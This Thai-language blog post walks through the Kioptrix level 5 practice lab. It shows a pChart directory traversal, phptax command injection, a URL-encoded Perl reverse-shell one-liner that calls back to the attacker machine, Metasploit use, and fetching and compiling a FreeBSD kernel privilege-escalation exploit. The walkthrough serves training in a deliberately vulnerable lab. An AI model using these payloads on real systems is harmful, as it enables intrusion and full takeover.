Penetration testing lab — Kioptrix level 5 [ตอนที่ 7]
ช่วงนี้ Work from Home เลยพอมีเวลามาเขียนต่ออีกหน่อย โดยตอนนี้จะเป็นตอนสุดท้ายของซีรีย์ Koptrix กันแล้วครับ จะเป็น Level 5 จะมีความท้าทายเพิ่มขึ้นมาอีกเล็กน้อย แต่โดยรวมก็ยังใช้ขั้นตอนเดิม 3 ขั้นตอนคือ 1. Enumeration 2. Exploitation 3. Privilege Escalation ในตอนนี้จะมี Flag ให้เราเข้าไปค้นหาด้วยเหมือนกับเราทำ CTF กันเลยทีเดียว ทำตามไปเรื่อยๆ จะเจอตอนจบครับ
Series นี้ตอนอื่นๆ
Penetration testing lab — Kioptrix level 1 [ตอนที่ 1]
Penetration testing lab — Kioptrix level 1 [ตอนที่ 2]
Penetration testing lab — Kioptrix level 2 [ตอนที่ 3]
Penetration testing lab — Kioptrix level 3 [ตอนที่ 4]
Penetration testing lab — Kioptrix level 3 [ตอนที่ 5]
Penetration testing lab — Kioptrix level 4 [ตอนที่ 6]
Penetration testing lab — Kioptrix level 5 [ตอนที่ 7]
เริ่มต้นมาเช่นเดิมทำการ scan หา IP Address ของเครื่องเป้าหมายกันก่อน ในส่วน command ต่างๆ จะไม่พูดถึงในตอนนี้แล้วนะครับ ให้ย้อนกลับไปอ่านในตอนแรกๆ แทน เนื่องจากเป็นคำสั่งเดียวกัน
จากนั้นทำการสแกนดูว่าเครื่องเป้าหมายเปิด service และ port อะไรไว้บ้าง
ผลการสแกนเห็นว่าเครื่องนี้เปิด port อยู่น้อยมากแค่ 3 port เอง คือ 22/tcp, 80/tcp, และ 8080/tcp ทำให้เราแน่ใจได้ว่าเครื่องนี้เป็น webserver อย่างแน่
ขั้นตอนต่อไปเราจึงลองทำการค้นดูใน webserver ดูว่ามี folder อะไรซ่อนไว้บ้าง
โชคร้าย!!! ไม่มีอะไรเลย ลองวิธีใหม่โดยใช้เครื่องมือ wfuzz
wfuzz คือเครื่องมือที่ใช้สำหรับการประเมินความปลอดภัยของเว็บแอปพลิเคชันโดยอัตโนมัติและสามารถช่วยรักษาความปลอดภัยเว็บแอปพลิเคชันโดยการค้นหาและใช้ประโยชน์จากช่องโหว่ของเว็บแอปพลิเคชัน
โชคร้ายอีกครั้ง !!! ไม่เจออะไรเลยอีกเหมือนเดิม ก็อย่างว่า Level5 ตัวสุดท้ายของเค้าล่ะจะให้มันเจออะไรง่ายๆเลยก็คงไม่ใช่เรื่อง เอาใหม่ด้วย nikto
5555 ไม่เจออะไรอีกเหมือนเดิม ไม่เวิร์คล่ะ งั้นลองไปดูที่ตัวเว็บเลยละกันเผื่อมีอะไรให้ทำ information gathering ได้บ้าง
OMG!! เปิดเว็บมาเจอหน้าขาวๆไม่ได้ช่วยอะไรเท่าไหร่ จากนั้นลองเปิดเว็บที่พอร์ต 8080 ดูเนื่องจากเราเห็นตอนทำ nmap ว่าเปิดอยู่
เปิดหน้าพอร์ต 8080 มา เหอๆ Forbidden เข้าไม่ได้อีก เอาไงดี ไม่รู้จะทำยังไงต่อล่ะ กลับไปที่หน้าพอร์ต 80 เหมือนเดิมแล้ว view source มาดู
เริ่มมีความหวังขึ้นมาเล็กน้อยเมื่อเราเห็นว่ามีการ include directory อยู่ที่ชื่อว่า pChart2.1.3/index.php เอาลองเปิดดู
เฮ้อออ เปิดได้ซะที แล้วไงต่อดีล่ะ
ไม่รู้จะทำอะไรแล้ว มั่วลองทำ directory traversal ดูล่ะกัน
hxxp://localhost/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd
http://192.168.248.135/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd
ปรากฎว่าเวิร์คสามารถเข้าไปเรียกไฟล์ /etc/passwd ขึ้นมาแสดงผลได้
งั้นลองเล่นๆ เรียกๆ ไฟล์คอนฟิกต่างๆ ในเครื่องมาดู เนื่องจากตอนที่เราสแกน nmap ข้างบนเราจะเห็นว่าเครื่องนี้เป็น FreeBSD ซึ่งหมายความว่าไฟล์ config ของเว็บเซิร์ฟเวอร์จะอยู่ที่ /usr/local/etc/apache2x/httpd.conf ก็ลองเรียกดู
http://192.168.248.135/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf
เลื่อนไล่ดูคอนฟิกไปเรื่อยๆจนท้ายๆ ไฟล์ เห็นว่ามีการเซ็ตข้อจำกัดในการเข้าถึงเว็บด้วย Mozilla/4.0 ด้วย งั้นเราลองไปเข้ากันดู
แต่ก่อนที่จะเข้าได้นั้นเราต้องทำการปรับค่าคอนฟิกใน Mozilla ของเราก่อนเล็กน้อยตามนี้
1. พิมพ์ about:config
2. คลิก Accept the Risk and Continue
3. พิมพ์ตรงช่องค้นหา ว่า general.useragent.override
4. เลือก string แล้วเพิ่มค่าดังนี้ Mozilla/4.0 (X11; Linux x86_64; rv:10.0) Gecko/20100101 Firefox/10.0
5. คลิกขวาที่ช่องที่เพิ่มขึ้นมาแล้วกด reload
หลังจากที่ปรับแต่งค่าใน firefox เสร็จแล้วลองเข้าผ่าน port 8080 ดูอีกที ปรากฎว่าสามารถเข้ามาได้แล้ว เยี่ยม
พอเข้ามาได้ก็ทำ command injection กันต่อเพื่อเก็บข้อมูลไปเรื่อยๆ
http://192.168.243.135:8080/phptax/data/rce.php?cmd=id
สนุกล่ะทำอีกๆๆๆๆ
http://192.168.243.135:8080/phptax/data/rce.php?cmd=cat%20/etc/ipfw.rules
เล่นพอหอมปากหอมคอ สนุกๆ กันไปคราวนี้จะเข้า exploit กันแล้วครับ เพื่อเข้าไปยึดเอา shell command มา ซึ่งตอนนี้มีหลายวิธีในการเข้าทำ ลองวิธีแรกก่อนแล้วกันครับ
- การ exploit ผ่านเว็บ command
1.1 ที่เครื่อง kali ของเราให้เปิด connection รอไว้ที่พอร์ต 443 คำสั่งตามนี้ nc -nlvp 443
1.2 ที่ Web Browser FireFox ของเราให้เปิด url ตามด้านล่าง
http://192.168.248.135:8080/phptax/data/rce.php?cmd=perl%20-MIO%20-e%20%27$p=fork;exit,if%28$p%29;$c=new%20IO::Socket::INET%28PeerAddr,%22192.168.248.132:443%22%29;STDIN-%3Efdopen%28$c,r%29;$~-%3Efdopen%28$c,w%29;system$_%20while%3C%3E;%27
กลับมาที่เครื่อง kali ก็จะเห็นว่าเราได้เชื่อมต่อกับเครื่องเป้าหมายและได้ shell command มาเรียบร้อย
แล้วไงต่อ !!!!
เห็นว่าตอนนี้เราเข้ามาที่เครื่องนั้น user ของเราเป็น www ซึ่งสิ่งที่เราต้องทำต่อไปคือการยกระดับสิทธิ์ให้ไปเป็น root ให้ได้ ก็เริ่มทำการ search ช่องโหว่ต่างๆ โดยการค้นหาคำว่า FreeBSD 9.0 — Intel SYSRET Kernel Privilege Escalation
ทำการ download ไฟล์ลงมา ชื่อ 28718.c เก็บไว้ในไดเร็กทอรี่ชื่อ Downloads
เนื่องจากทดลองใช้การ exploit ตามวิธีที่ 1 นั้นมีปัญหาบางอย่างไม่สามารถส่งไฟล์ .c และ compli ได้จึงเปลี่ยนวิธีใหม่เป็นวิธีที่ 2
2. การ exploit ผ่าน metasploit
เมื่อเข้ามาในโปรแกรม metasploit แล้วให้ค้นหา phptax
ผลการค้นหาให้เราเลือกใช้ module exploit/multi/http/phptax_exec แล้วทำการ set ค่า RHOSTS และ RPORT ตามในรูป
หลังจากที่เซ็ตและลอง run ดูจะเห็นว่า error เอ้าาา เยอะไปไหน อ่านดีๆ จะเห็นว่าเราต้องทำการ set payload ให้กับตัว sploit ตัวนี้ด้วยงั้นก็ไปเลือกกัน
ใช้คำสั่ง show payloads ดูว่ามีอะไรให้เราเลือกได้บ้าง ก็ลองหมดทุกตัว ไปๆ มาๆ สรุปว่าหมายเลข 5 สามารถใช้งานได้ ก็ทำการ set โดยใช้คำสั่ง set payload 5 แล้ว run อีกทีก็จะสามารถเข้า shell command ของเครื่องเป้าหมายได้ตามเดิม
ใช้คำสั่ง /bin/sh -l เพื่อให้ตัว shell หน้าตาดู friendly ขึ้นมาอีกนิด
ขั้นตอนต่อมาจะทำการยกสิทธิ์กันแล้วนะครับ
ให้เราเปิด tab ใหม่ แล้วทำการ copy ไฟล์ 28718.c ที่ download มาไปไว้ใน /var/www/html เพื่อที่จะทำให้เครื่องเราเป็นเว็บเซิร์ฟเวิร์แล้วให้เครื่องเป้าหมายโหลดไฟล์นี้ไปรันในเครื่อง
เมื่อ copy เสร็จแล้วสั่งให้ apache service ทำงาน
กลับไปที่ shell terminal ของเครื่องเป้าหมายให้ใช้คำสั่ง fetch เพื่อโหลดไฟล์ .c มาเก็บไว้ที่เครื่อง และทำการ execute จะได้ output เป็น a.out ก็ให้ทำการเรียกขึ้นมาเราก็จะได้สิทธิ์เป็น root เรียบร้อยแล้ว
>fetch http://192.168.248.132/28718.c
>gcc 28718.c
>./a.out
ต่อมาเราก็ทำการหา Flag ที่อยู่ในเครื่อง โดยเปลี่ยนไดเร็กทอรี่ไปที่ /root จะเห็นไฟล์ที่ชื่อว่า congrats.txt อยู่
ทำการ cat congrats.txt ขึ้นมาดูก็เป็นอันเสร็จ บรรลุเป้าหมายแล้ว !!!!
เย้!!! ก็จบลงแล้วสำหรับ Kioptrix Level 5 โดยรวมคือเราลองใช้เครื่องมืออื่นๆ ในการทำ exploit ดูเพื่อความรวดเร็ว ฝึกไปเรื่อยๆ ตามสโลแกน
Try Harder
ปล.เป็นเพียงแค่ Lab ในการทดลองทำ Penetration testing เท่านั้นไม่สามารถใช้งานได้กับระบบจริง เนื่องจาก Lab นี้มีการจงใจที่จะเปิดช่องโหว่เอาไว้ให้เราได้ทำการทดลองศึกษา
สุดท้ายนี้ หากบทความนี้มีประโยชน์ รบกวนกด ปรบมือ หรือ กด share และกด follow ด้วยครับ
หลังจากนี้จะพยายามหาเวลาเอาตัวอย่างอื่นๆมาเล่นให้ดูกันอีก สำหรับตอนที่ 7 นี้ขอกล่าวคำว่าสวัสดีและขอให้สนุกกับการทดสอบระบบครับ